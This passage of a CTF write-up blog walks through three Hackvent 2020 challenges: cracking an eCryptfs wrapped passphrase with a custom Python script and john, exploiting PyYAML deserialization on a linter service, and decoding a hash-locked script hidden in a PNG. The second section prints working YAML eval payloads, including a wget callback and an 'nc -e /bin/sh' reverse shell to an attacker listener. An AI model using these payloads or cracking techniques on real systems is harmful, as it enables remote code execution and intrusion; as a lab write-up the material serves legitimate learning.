UUID=5a9bec26-3f99-4101-bc44-153139202629 (extents) (64bit) (large files) (huge files)\n<\/code>\n\n<p>Let's mount it:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ sudo mkdir \/mnt\/hv18\nkali@kali:~\/hv20\/18$ sudo mount 9154cb91-e72e-498f-95de-ac8335f71584.img \/mnt\/hv18\n<\/code>\n\n<p>The filesystem contains santa home directory, which seems to be encrypted with <a href=\"https:\/\/en.wikipedia.org\/wiki\/ECryptfs\" rel=\"noopener noreferrer\" target=\"_blank\">eCryptfs<\/a>:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ cd \/mnt\/hv18\/\nkali@kali:\/mnt\/hv18$ ls -al\ntotal 32\ndrwxr-xr-x 5 root root  4096 Nov 21 04:55 .\ndrwxr-xr-x 5 root root  4096 Dec 19 00:43 ..\ndrwxr-xr-x 3 root root  4096 Nov 21 04:45 .ecryptfs\ndrwx------ 2 root root 16384 Nov 21 04:40 lost+found\ndr-x------ 2 kali kali  4096 Nov 21 04:45 santa\n<\/code>\n\n<p>The encrypted files are stored in <span class=\"hl\">.ecryptfs\/santa\/.Private\/<\/span>:<\/p>\n\n<code>kali@kali:\/mnt\/hv18$ cd .ecryptfs\/santa\/.Private\/\nkali@kali:\/mnt\/hv18\/.ecryptfs\/santa\/.Private$ ls -al\ntotal 124\ndrwx------ 5 kali kali  4096 Nov 21 04:47 .\ndrwxr-xr-x 4 kali kali  4096 Nov 21 04:45 ..\nlrwxrwxrwx 1 kali kali   104 Nov 21 04:45 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d3jR0N.8eRZ6tCge1bB0sDk-- -> ...\n-rw-rw-r-- 1 kali kali 12288 Nov 21 04:47 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d71FVjTGpVsJzCndwWUizwk--\n-rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dAmhR-btY3XiBOwSO2PoBPk--\n-rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dCUVmirG.GL1fQxxAD3586k--\n-rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7ddA6PxrTroJKVisYGJ47EK---\n...\n<\/code>\n\n<p>There is a good <a href=\"https:\/\/wiki.ubuntuusers.de\/ecryptfs\/Datenrettung\/#Schluesseldaten-reparieren\" rel=\"noopener noreferrer\" target=\"_blank\">article<\/a> (german) on how to recover the encrypted data. According to the article a requirement is to possess the <span class=\"hl\">wrapped-passphrase<\/span> file or have read its content beforehand as well as the knowledge of the password used to encrypt the data.<\/p>\n\n<p>The <span class=\"hl\">wrapped-passphrase<\/span> file should be located at <span class=\"hl\">.ecryptfs\/santa\/.ecryptfs<\/span>. Though it is not there:<\/p>\n\n<code>kali@kali:\/mnt\/hv18\/.ecryptfs\/santa\/.ecryptfs$ ls -al\ntotal 16\ndrwx------ 2 kali kali 4096 Nov 21 04:59 .\ndrwxr-xr-x 4 kali kali 4096 Nov 21 04:45 ..\n-rw-r--r-- 1 kali kali    0 Nov 21 04:45 auto-mount\n-rw-r--r-- 1 kali kali    0 Nov 21 04:45 auto-umount\n-rw------- 1 kali kali   12 Nov 21 04:45 Private.mnt\n-rw------- 1 kali kali   34 Nov 21 04:45 Private.sig\n<\/code>\n\n<p>So at the moment we don't meet any of the requirements. We neither have the <span class=\"hl\">wrapped-passphrase<\/span> file, nor do we know the password used to encrypt the data.<\/p>\n\n<p>At first let's get the <span class=\"hl\">wrapped-passphrase<\/span> file. There is another good <a href=\"https:\/\/research.kudelskisecurity.com\/2015\/08\/25\/how-to-crack-ubuntu-disk-encryption-and-passwords\/\" rel=\"noopener noreferrer\" target=\"_blank\">article<\/a>, which explains the details on the older format of the <span class=\"hl\">wrapped-passphrase<\/span> file, but also the new one. Accordingly the first two bytes of the file are the version, which is supposed to be <span class=\"hl\">3a 02<\/span>. Let's search for this in the raw image:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv18_01.png\" width=\"700px\"\/><\/p>\n\n<p>And we actually get a hit:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv18_02.png\" width=\"700px\"\/><\/p>\n\n<p>The <span class=\"hl\">wrapped-passphrase<\/span> file seems to be located at offset <span class=\"hl\">0x5c00000<\/span>. Using <span class=\"hl\">dd<\/span> we can extract it:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ dd if=9154cb91-e72e-498f-95de-ac8335f71584.img of=wrapped-passphrase bs=1 skip=$(rax2 0x5c00000) count=$(rax2 0x3a)\n58+0 records in                                                                           \n58+0 records out                                                                          \n58 bytes copied, 0.000407634 s, 142 kB\/s\n<\/code>\n\n<p><\/p>\n\n<code>kali@kali:~\/hv20\/18$ hexdump -C wrapped-passphrase                                                \n00000000  3a 02 a7 23 b1 2f 66 bc  fe aa 30 35 31 31 31 39  |:..#.\/f...051119|                  \n00000010  62 30 62 61 63 65 30 61  62 36 db b8 dd 00 47 8f  |b0bace0ab6....G.|                      \n00000020  a1 89 ae c3 cb e5 22 94  f4 ca d1 57 fe 2d 78 65  |......\"....W.-xe|                      \n00000030  67 74 61 1f 32 1b 99 30  6f c7                    |gta.2..0o.|                                   \n0000003a<\/code>\n\n<p>First requirement fullfilled. Now we need to get the password used to encrypt the data. The article mentioned before describes the format of the file. The first two bytes are the version (<span class=\"hl\">3a 02<\/span>), which are followed by an 8 byte salt (<span class=\"hl\">a7 23 b1 2f 66 bc fe aa<\/span>). The next 16 bytes are the signature (8 bytes, encoded in ASCII): <span class=\"hl\">051119b0bace0ab6<\/span>. The 32 following bytes are the wrapped passphrase.<\/p>\n\n<p>The signature is used to validate if a given password is correct. In order to do this 65536 <span class=\"hl\">SHA512<\/span> iterations of the salt and password are computed: <span class=\"hl\">SHA512(SHA512(...SHA512(salt+password)..))<\/span>. The signature consists of the first 8 bytes of the result. Both <span class=\"hl\">john<\/span> and <span class=\"hl\">hashcat<\/span> are able to crack the hash. For the purpose of understanding I created a little python implementation:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ cat craxx0r.py \n#!\/usr\/bin\/env python3\n\nimport hashlib\n\ndef calc_sig(salt, pwd):\n  m = hashlib.sha512()\n  m.update(salt+pwd)\n  h = m.digest()\n  for i in range(65536):\n    m = hashlib.sha512()\n    m.update(h)\n    h = m.digest()\n  return (h.hex()[:16])\n\n\nsalt = bytes.fromhex('a723b12f66bcfeaa')\nsig  = '051119b0bace0ab6'\nwl = 'santa.txt'\nwords = open(wl).read().split('\\n')\n\nfor w in words:\n  w = w.encode()\n  r = calc_sig(salt, w)\n  if (r == sig):\n    print(w)\n    quit()\n<\/code>\n\n<p>Based on the hints within the challenge the wordlist used (<span class=\"hl\">santa.txt<\/span>) was created by grepping for <span class=\"hl\">santa<\/span> within the <span class=\"hl\">crackstation-human-only.txt<\/span> wordlist:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ cat \/usr\/share\/wordlists\/crackstation-human-only.txt | grep santa > santa.txt\nkali@kali:~\/hv20\/18$\n<\/code>\n\n<p>Running the script yields the password used to encrypt the data:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ .\/craxx0r.py\nb'think-santa-lives-at-north-pole'\n<\/code>\n\n<p>In order to crack the hash with <span class=\"hl\">john<\/span> the following format should be used: <span class=\"hl\">$ecryptfs$0$1$&lt;salt&gt;$&lt;signature&gt;<\/span>.<\/p>\n\n<code>kali@kali:~\/hv20\/18$ cat ecrypt_hash.txt\nwrapped-passphrase:$ecryptfs$0$1$a723b12f66bcfeaa$051119b0bace0ab6\n<\/code>\n\n<p><\/p>\n\n<code>kali@kali:~\/hv20\/18$ john ecrypt_hash.txt --wordlist=.\/santa.txt\nUsing default input encoding: UTF-8                                                                                                                                  \nLoaded 1 password hashes with 1 different salts (eCryptfs [SHA512 256\/256 AVX2 4x])                                     \nPress 'q' or Ctrl-C to abort, almost any other key for status\nthink-santa-lives-at-north-pole (wrapped-passphrase)           \n1g 0:00:08:49 DONE (2020-12-18 13:19) 0.001887g\/s 26.14p\/s 129.6c\/s 129.6C\/s _SANTANA6931_.._santanascream89                                                         \nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed                                                             \n<\/code>\n\n<p>Accordingly the password used is <span class=\"hl\">think-santa-lives-at-north-pole<\/span>.<\/p>\n\n<p>At this point we meet both requirements in order to recover the encrypted data: possession of the file <span class=\"hl\">wrapped-passphrase<\/span> as well as the password used to encrypt the data.<\/p>\n\n<p>At first we can use <span class=\"hl\">ecryptfs-unwrap-passphrase<\/span> in order to read the wrapped passphrase:<\/p>\n\n<code>kali@kali:~\/hv20\/18$ ecryptfs-unwrap-passphrase wrapped-passphrase\nPassphrase: (think-santa-lives-at-north-pole) \neeafa1586db2365d5f263ef867f586e4\n<\/code>\n\n<p>Now we can decrypt the data using <span class=\"hl\">ecryptfs-recover-private<\/span> (I switched to an Ubuntu box here):<\/p>\n\n<code>user@b0x:\/mnt\/hv20\/18$ sudo ecryptfs-recover-private .ecryptfs\/santa\/.Private\/\n[sudo] password for user: \nINFO: Found [.ecryptfs\/santa\/.Private\/].\nTry to recover this directory? [Y\/n]: \nINFO: Could not find your wrapped passphrase file.\nINFO: To recover this directory, you MUST have your original MOUNT passphrase.\nINFO: When you first setup your encrypted private directory, you were told to record\nINFO: your MOUNT passphrase.\nINFO: It should be 32 characters long, consisting of [0-9] and [a-f].\n\nEnter your MOUNT passphrase: (eeafa1586db2365d5f263ef867f586e4)\nINFO: Success!  Private data mounted at [\/tmp\/ecryptfs.dBVRS4F4].\n<\/code>\n\n<p>The data was successfully decrypted. We can finally access it:<\/p>\n\n<code>user@b0x:\/mnt\/hv20\/18$ cd \/tmp\/ecryptfs.dBVRS4F4\/\nuser@b0x:\/tmp\/ecryptfs.dBVRS4F4$ ls -al\ntotal 124\ndrwx------  5 user user 4096 Nov 21 10:47 .\ndrwxrwxrwt 19 root root 4096 Dez 18 21:17 ..\n-rw-------  1 user user   45 Nov 21 10:47 .bash_history\n-rw-r--r--  1 user user  220 Nov 21 10:43 .bash_logout\n-rw-r--r--  1 user user 3771 Nov 21 10:43 .bashrc\ndrwx------  2 user user 4096 Nov 21 10:46 .cache\ndrwxr-xr-x  5 user user 4096 Nov 21 10:43 .config\nlrwxrwxrwx  1 user user   31 Nov 21 10:45 .ecryptfs -> \/home\/.ecryptfs\/santa\/.ecryptfs\n-rw-rw-r--  1 user user   46 Nov 21 10:47 flag.txt\n-rw-r--r--  1 user user   22 Nov 21 10:43 .gtkrc-2.0\n-rw-r--r--  1 user user  516 Nov 21 10:43 .gtkrc-xfce\n-rw-------  1 user user  221 Nov 21 10:47 .joe_state\ndrwxr-xr-x  3 user user 4096 Nov 21 10:43 .local\nlrwxrwxrwx  1 user user   30 Nov 21 10:45 .Private -> \/home\/.ecryptfs\/santa\/.Private\n-rw-r--r--  1 user user  807 Nov 21 10:43 .profile\n<\/code>\n\n<p>One of the files is called <span class=\"hl\">flag.txt<\/span>:<\/p>\n\n<code>user@b0x:\/tmp\/ecryptfs.dBVRS4F4$ cat flag.txt \nHV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"19\">HV20.19 Docker Linter Service<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/19.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_expl.png\" width=\"20px\"\/> Exploitation<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_web.png\" width=\"20px\"\/> Web Security<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/the_compiler\" rel=\"noopener noreferrer\" target=\"_blank\">The Compiler<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nDocker Linter is a useful web application ensuring that your Docker-related files follow best practices. Unfortunately, there's a security issue in there...\n\n\n<b>Requirements<\/b>\n\nThis challenge requires a reverse shell. You can use the provided Web Shell or the VPN to solve this challenge (see RESOURCES on top).\n\nNote: The VPN connection information has been updated.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided website offers a linter service for docker files:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv19_01.png\" width=\"800px\"\/><\/p>\n\n<p>After getting an overview of the three supported files, <span class=\"hl\">docker-compose.yml<\/span> seemed most promissing.<\/p>\n\n<p>The linter service expects a <span class=\"hl\">docker-compose.yml<\/span> file to be uploaded or entered ...<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv19_02.png\" width=\"600px\"\/><\/p>\n\n<p>... and outputs the result of three different validation checks:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv19_03.png\" width=\"600px\"\/><\/p>\n\n<p>In the past there have been quite a few <a href=\"https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Deserialization_Cheat_Sheet.html#whitebox-review_1\" rel=\"noopener noreferrer\" target=\"_blank\">deserialization vulnerabilites relating YAML<\/a>, so this seems to be a likely target.<\/p>\n\n<p>As described in the before mentioned cheatsheet from <a href=\"https:\/\/cheatsheetseries.owasp.org\/\" rel=\"noopener noreferrer\" target=\"_blank\">OWASP<\/a>, a very basic payload looks like this:<\/p>\n\n<code>!!python\/object\/apply:os.system ['ipconfig']<\/code>\n\n<p>Though this does not seem to work here.<\/p>\n\n<p>After a little bit of googling, we can find the following payload in a <a href=\"https:\/\/github.com\/yaml\/pyyaml\/issues\/420\" rel=\"noopener noreferrer\" target=\"_blank\">github issue of pyyaml<\/a>:<\/p>\n\n<code>!!python\/object\/new:tuple \n- !!python\/object\/new:map \n  - !!python\/name:eval\n  - [ \"RCE_HERE\" ]<\/code>\n\n<p>This payload instantiate a <span class=\"hl\">tuple<\/span> object mapping the <span class=\"hl\">eval<\/span> function to a string containing arbitrary python code.<\/p>\n\n<p>In order to execute OS commands using <span class=\"hl\">eval<\/span>, we can use the builtin function <span class=\"hl\">__import__<\/span> like so:<\/p>\n\n<code>kali@kali:~\/hv20\/19$ python3\n...\n&lt;&lt;&lt; eval('__import__(\"os\").system(\"id\")')\nuid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),125(lpadmin),127(scanner)\n<\/code>\n\n<p>Let's verify that the payloads works by starting a <span class=\"hl\">nc<\/span> listener on the provided web shell and trigger <span class=\"hl\">wget<\/span> (which is available on most systems) with the following payload:<\/p>\n\n<code>!!python\/object\/new:tuple \n- !!python\/object\/new:map \n  - !!python\/name:eval\n  - [ \"__import__('os').system('wget http:\/\/10.2.0.28:4242')\" ]<\/code>\n\n<p>We actually get a hit:<\/p>\n\n<code>hacker@6c167989-f2f6-41f1-ae14-16aa26d4ca6f:~$ nc -lvp 4242\nlistening on [any] 4242 ...\nconnect to [10.2.0.28] from tmp_docker-linter-a9722bb3-4f54-481f-b158-d4d7b8664e26_1.tmp_default [10.2.0.8] 47192\nGET \/ HTTP\/1.1\nHost: 10.2.0.28:4242\nUser-Agent: Wget\nConnection: close<\/code>\n\n<p>At next we can try to get a reverse shell using <span class=\"hl\">nc<\/span> with the following payload:<\/p>\n\n<code>!!python\/object\/new:tuple \n- !!python\/object\/new:map \n  - !!python\/name:eval\n  - [ \"__import__('os').system('nc -vn 10.2.0.28 4242 -e \/bin\/sh')\" ]<\/code>\n\n<p>Again we actually suceed and get a reverse shell:<\/p>\n\n<code>hacker@6c167989-f2f6-41f1-ae14-16aa26d4ca6f:~$ nc -lvp 4242\nlistening on [any] 4242 ...\nconnect to [10.2.0.28] from tmp_docker-linter-a9722bb3-4f54-481f-b158-d4d7b8664e26_1.tmp_default [10.2.0.8] 33159\nid\nuid=2000(hacker) gid=2000(hacker) groups=2000(hacker)\n<\/code>\n\n<p>At last we simply need to output the flag:<\/p>\n\n<code>ls -al\ntotal 40\ndrwxr-xr-x    1 root     root           138 Dec 18 10:43 .\ndrwxr-xr-x    1 root     root            62 Dec 19 17:40 ..\n-rw-r--r--    1 root     root          3581 Nov  9 14:57 app.py\ndrwxr-xr-x    1 root     root            22 Dec 18 11:43 bin\ndrwxr-xr-x    2 root     root            58 Nov  9 13:46 dockerfile_lint_rules\n-rw-rw-r--    1 root     root            46 Dec 18 10:43 flag.txt\n-rw-r--r--    1 root     root          2219 Nov  9 14:57 linting.py\ndrwxr-xr-x   61 root     root          4096 Dec 18 11:43 node_modules\n-rw-r--r--    1 root     root         16885 Dec 18 11:43 package-lock.json\n-rw-r--r--    1 root     root           160 Nov  9 14:57 requirements.txt\ndrwxr-xr-x    2 root     root            65 Dec 18 10:43 static\ndrwxr-xr-x    2 root     root            92 Dec 18 10:43 templates\ncat flag.txt\nHV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"20\">HV20.20 Twelve steps of Christmas<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/20.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"leet\">Leet<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_linux.png\" width=\"20px\"\/> Linux<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_prog.png\" width=\"20px\"\/> Programming<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_forensic.png\" width=\"20px\"\/> Forensic<\/td><\/tr>\n<tr><td>Author:<\/td><td><a href=\"https:\/\/twitter.com\/nonsxd\" rel=\"noopener noreferrer\" target=\"_blank\">Bread<\/a><\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nOn the twelfth day of Christmas my true love sent to me...\ntwelve rabbits a-rebeling,\neleven ships a-sailing,\nten (twentyfourpointone) pieces a-puzzling,\nand the rest is history.\n\n<img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv20_01.png\" width=\"800px\"\/>\n\n<b>Hints<\/b>\n\nYou should definitely give <span class=\"fake_link\">Bread's famous easy perfect fresh rosemary yeast black pepper bread<\/span> a try this Christmas!\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>Running <span class=\"hl\">strings<\/span> on the image reveals that it contains <span class=\"hl\">HTML<\/span> code:<\/p>\n\n\n<code>kali@kali:~\/hv20\/20$ strings -n 10 bfd96926-dd11-4e07-a05a-f6b807570b5a.png \n...\n&lt;html&gt;\n4_*Gf --&gt;&lt;head&gt; &lt;meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\"&gt; &lt;style&gt;body{visibility: hidden;}.s{visibility: visible; position: absolute; top: 15px; left: 10px;}textarea{visibility: hidden; height: 0px; width: 0px; font-family: monospace;}&lt;\/style&gt; &lt;script&gt;var bL=1, eC=3, gr=2; var cvs, pix, ctx, pdt; function SHA1(msg){function rotate_left(n, s){var t4=(n &lt;&lt; s) | (n &gt;&gt;&gt; (32 - s)); return t4;}; function lsb_hex(val){var str=\"\"; var i; var vh; var vl; for (i=0; i &lt;=6; i +=2){vh=(val &gt;&gt;&gt; (i * 4 + 4)) & 0x0f; vl=(val &gt;&gt;&gt; (i * 4)) & 0x0f; str +=vh.toString(16) + vl.toString(16);}return str;}; function cvt_hex(val){var str=\"\"; var i; var v; for (i=7; i &gt;=0; i--){v=(val &gt;&gt;&gt; (i * 4)) & 0x0f; str +=v.toString(16);}return str;}; function Utf8Encode(string){string=string.replace(\/\\r\\n\/g, \"\\n\"); var utftext=\"\"; for (var n=0; n &lt; string.length; n++){var c=string.charCodeAt(n); if (c &lt; 128){utftext +=String.fromCharCode(c);}else if ((c &gt; 127) && (c &lt; 2048)){utftext +=String.fromCharCode((c &gt;&gt; 6) | 192); utftext +=String.fromCharCode((c & 63) | 128);}else{utftext +=String.fromCharCode((c &gt;&gt; 12) | 224); utftext +=String.fromCharCode(((c &gt;&gt; 6) & 63) | 128); utftext +=String.fromCharCode((c & 63) | 128);}}return utftext;}; var blockstart; var i, j; var W=new Array(80); var H0=0x67452301; var H1=0xEFCDAB89; var H2=0x98BADCFE; var H3=0x10325476; var H4=0xC3D2E1F0; var A, B, C, D, E; var temp; msg=Utf8Encode(msg); var msg_len=msg.length; var word_array=new Array(); for (i=0; i &lt; msg_len - 3; i +=4){j=msg.charCodeAt(i) &lt;&lt; 24 | msg.charCodeAt(i + 1) &lt;&lt; 16 | msg.charCodeAt(i + 2) &lt;&lt; 8 | msg.charCodeAt(i + 3); word_array.push(j);}switch (msg_len % 4){case 0: i=0x080000000; break; case 1: i=msg.charCodeAt(msg_len - 1) &lt;&lt; 24 | 0x0800000; break; case 2: i=msg.charCodeAt(msg_len - 2) &lt;&lt; 24 | msg.charCodeAt(msg_len - 1) &lt;&lt; 16 | 0x08000; break; case 3: i=msg.charCodeAt(msg_len - 3) &lt;&lt; 24 | msg.charCodeAt(msg_len - 2) &lt;&lt; 16 | msg.charCodeAt(msg_len - 1) &lt;&lt; 8 | 0x80; break;}word_array.push(i); while ((word_array.length % 16) !=14) word_array.push(0); word_array.push(msg_len &gt;&gt;&gt; 29); word_array.push((msg_len &lt;&lt; 3) & 0x0ffffffff); for (blockstart=0; blockstart &lt; word_array.length; blockstart +=16){for (i=0; i &lt; 16; i++) W[i]=word_array[blockstart + i]; for (i=16; i &lt;=79; i++) W[i]=rotate_left(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1); A=H0; B=H1; C=H2; D=H3; E=H4; for (i=0; i &lt;=19; i++){temp=(rotate_left(A, 5) + ((B & C) | (~B & D)) + E + W[i] + 0x5A827999) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=20; i &lt;=39; i++){temp=(rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0x6ED9EBA1) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=40; i &lt;=59; i++){temp=(rotate_left(A, 5) + ((B & C) | (B & D) | (C & D)) + E + W[i] + 0x8F1BBCDC) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}for (i=60; i &lt;=79; i++){temp=(rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0xCA62C1D6) & 0x0ffffffff; E=D; D=C; C=rotate_left(B, 30); B=A; A=temp;}H0=(H0 + A) & 0x0ffffffff; H1=(H1 + B) & 0x0ffffffff; H2=(H2 + C) & 0x0ffffffff; H3=(H3 + D) & 0x0ffffffff; H4=(H4 + E) & 0x0ffffffff;}var temp=cvt_hex(H0) + cvt_hex(H1) + cvt_hex(H2) + cvt_hex(H3) + cvt_hex(H4); return temp.toLowerCase();}function dID(){cvs=document.createElement(\"canvas\");cvs.crossOrigin = px.crossOrigin = \"Anonymous\";px.parentNode.insertBefore(cvs, px); cvs.width=px.width; log.style.width=px.width + \"px\"; cvs.height=px.height; log.style.height=\"15em\"; log.style.visibility=\"visible\"; var passwd=SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase(); log.value=\"TESTING: \" + passwd + \"\\n\"; if (passwd==\"60DB15C4E452C71C5670119E7889351242A83505\"){log.value +=\"Success\\nBit Layer=\" + bL + \"\\nPixel grid=\" + gr + \"x\" + gr + \"\\nEncoding Density=1 bit per \" + (gr * gr) + \" pixels\\n\"; var f=[\"Red\", \"Green\", \"Blue\", \"All\"]; log.value +=\"Encoding Channel=\" + f[eC] + \"\\n\"; log.value +=\"Image Resolution=\" + px.width + \"x\" + px.height + \"\\n\"; ctx=cvs.getContext(\"2d\"); ctx.drawImage(px, 0, 0); px.parentNode.removeChild(px);pix=ctx.getImageData(0, 0, cvs.width, cvs.height); pdt=pix.data; var j=[], k=0, h=0, b=0; var d=function(m, t){n=(t * cvs.width + m) * 4; var q=(pdt[n] & (1 &lt;&lt; bL)) &gt;&gt; bL; var p=(pdt[n + 1] & (1 &lt;&lt; bL)) &gt;&gt; bL; var a=(pdt[n + 2] & (1 &lt;&lt; bL)) &gt;&gt; bL; var s; switch (eC){case 0: s=q; break; case 1: s=p; break; case 2: s=a; break; default: var o=(q + p + a) \/ 3; s=Math.round(o)}if (s==0){pdt[n]=pdt[n + 1]=pdt[n + 2]=0}else{pdt[n]=pdt[n + 1]=pdt[n + 2]=255}b++; return (String.fromCharCode(s + 48))}; var l=function(a){for (var o=0, m=0; m &lt; a * 8; m++){j[o++]=d(k, h); k +=gr; if (k &gt;=cvs.width){k=0; h +=gr}}}; l(6); var e=parseInt(bTS(j.join(\"\"))); l(e); log.value +=\"Total pixels decoded=\" + b + \"\\n\"; log.value +=\"Decoded data length=\" + e + \" bytes.\\n\"; pix.data=pdt; ctx.putImageData(pix, 0, 0); var g=B64(bTS(j.join(\"\"))); var c=\"11.py\"; log.value +=\"Packaging \" + c + \" for download\\n\"; log.value +=\"Safari and IE users, save the Base64 data and decode it manually please,Chrome\/edge users CORS, move to firefox.\\n\"; log.value +='BASE64 data=\"' + g + '\"\\n'; download(c, g)}else{log.value +=\"failed.\\n\";}}function bTS(c){var b=\"\"; for (i=0; i &lt; c.length; i +=8){var a=c.substr(i, 8); b +=String.fromCharCode(parseInt(a, 2))}return (b)}function B64(h){var g=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/\"; var b=\"\"; var a=\"\"; while (h.length % 2 &gt; 0){h +=\"\\x00\"}for (var d=0; d &lt; h.length; d++){var c=h.charCodeAt(d); var e=c.toString(2); while (e.length &lt; 8){e=\"0\" + e}a +=e; while (a.length &gt;=6){var f=a.slice(0, 6); a=a.slice(6); b +=g.charAt(parseInt(f, 2))}}while (a.length &lt; 6){a +=\"0\"}b +=g.charAt(parseInt(a, 2)); return (b)}function download(a, c){var b=document.createElement(\"a\"); b.setAttribute(\"href\", \"data:application\/octet-stream;base64,\" + c); b.setAttribute(\"target\", \"_blank\"); b.setAttribute(\"download\", a); b.style.display=\"none\"; pic.appendChild(b); b.click(); pic.removeChild(b)}window.onload=function(){px.onclick=dID}; &lt;\/script&gt;&lt;\/head&gt;&lt;body&gt; &lt;div id=pic class=s&gt;&lt;img id=px src=#&gt; &lt;div&gt;&lt;textarea id=log&gt;&lt;\/textarea&gt;&lt;\/div&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;\n...\n<\/code>\n\n<p>The important part of the javascript code is here:<\/p>\n\n<code>...\npasswd=SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase();\n...\nif (passwd==\"60DB15C4E452C71C5670119E7889351242A83505\"){ ...\n...<\/code>\n\n<p>Accordingly we are supposed to provide a password in the GET parameter <span class=\"hl\">p<\/span>. The <span class=\"hl\">SHA1<\/span> hash of the password is supposed to be <span class=\"hl\">60DB15C4E452C71C5670119E7889351242A83505<\/span>. We can for example use <span class=\"hl\">john<\/span> to crack the hash:<\/p>\n\n\n<code>kali@kali:~\/hv20\/20$ cat hash.txt \n60DB15C4E452C71C5670119E7889351242A83505\nkali@kali:~\/hv20\/20$ john hash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt\n...\nLoaded 1 password hash (Raw-SHA1 [SHA1 256\/256 AVX2 8x])\nPress 'q' or Ctrl-C to abort, almost any other key for status\nbunnyrabbitsrule4real (?)\n...\n<\/code>\n\n<p>The password is <span class=\"hl\">bunnyrabbitsrule4real<\/span>. Let's rename the image to an <span class=\"hl\">.html<\/span> file and open it in a browser. This way the javascript code is executed. When we provide the password in the GET parameter <span class=\"hl\">p<\/span>, we can trigger the password check by clicking on the page:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv20_02.png\" width=\"800px\"\/><\/p>\n\n<p>We receive a new file called <span class=\"hl\">11.py<\/span>:<\/p>\n\n\n<code>kali@kali:~\/hv20\/20$ cat 11.py \nimport sys\ni = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b\"\\n\")[-1])\nj = bytearray(b\"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] 